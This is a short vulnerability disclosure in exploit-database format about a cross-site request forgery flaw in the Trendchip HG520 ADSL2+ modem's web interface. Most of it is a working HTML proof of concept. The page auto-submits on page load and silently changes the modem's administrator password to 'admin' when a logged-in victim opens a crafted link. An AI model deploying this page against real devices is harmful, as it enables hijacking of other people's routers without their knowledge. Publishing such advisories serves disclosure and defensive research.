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######################################################################## # Exploit Title: Trendchip HG520 ADSL2+ Wireless Modem CSRF Vulnerability # Google Dork: N/A # Date: 15/02/2014 # Exploit Author: Dhruv Shah # Vendor Homepage: N/A # Software Link : N/A # Version: Firmware Version:2.11.38.0(RE0.C2B)3.9.9.5 # Tested on: Embedded Allegro RomPager webserver 4.07 UPnP/1.0 (ZyXEL ZyWALL 2) # Type of Application : Modem Web Application # CVE : N/A ######################################################################## Cross Site Request Forgery This Modem's Web Application , suffers from Cross-site request forgery through which attacker can manipulate user data via sending him malicious craft url. The Modems's Applicationnot using any security token to prevent it against CSRF. You can manipulate any userdata. PoC and Exploit to change user password: In the POC the IP address in the POST is the modems IP address. <html> <body onload="javascript:document.forms[0].submit()"> <form method="POST" action="http://192.168.2.1/Forms/tools_admin_1" name="tool_admin"> <input name="uiViewTools_Password" size="30" maxlength="30" value="admin" type="PASSWORD"> <input name="uiViewTools_PasswordConfirm" size="30" maxlength="30" value="admin" type="PASSWORD"> </form> </body> </html> ______________________ *Dhruv Shah* *aka Snypter* http://security-geek.in/blog/ Blogger | Researcher | Consultant | Writer Youtube <http://www.youtube.com/snypter> | Facebook<http://www.facebook.com/dhruvshahs>| Linkedin <http://in.linkedin.com/pub/dhruv-shah/26/4a6/aa0> | Twitter<https://twitter.com/Snypter>| Blog <http://security-geek.in/blog/> |
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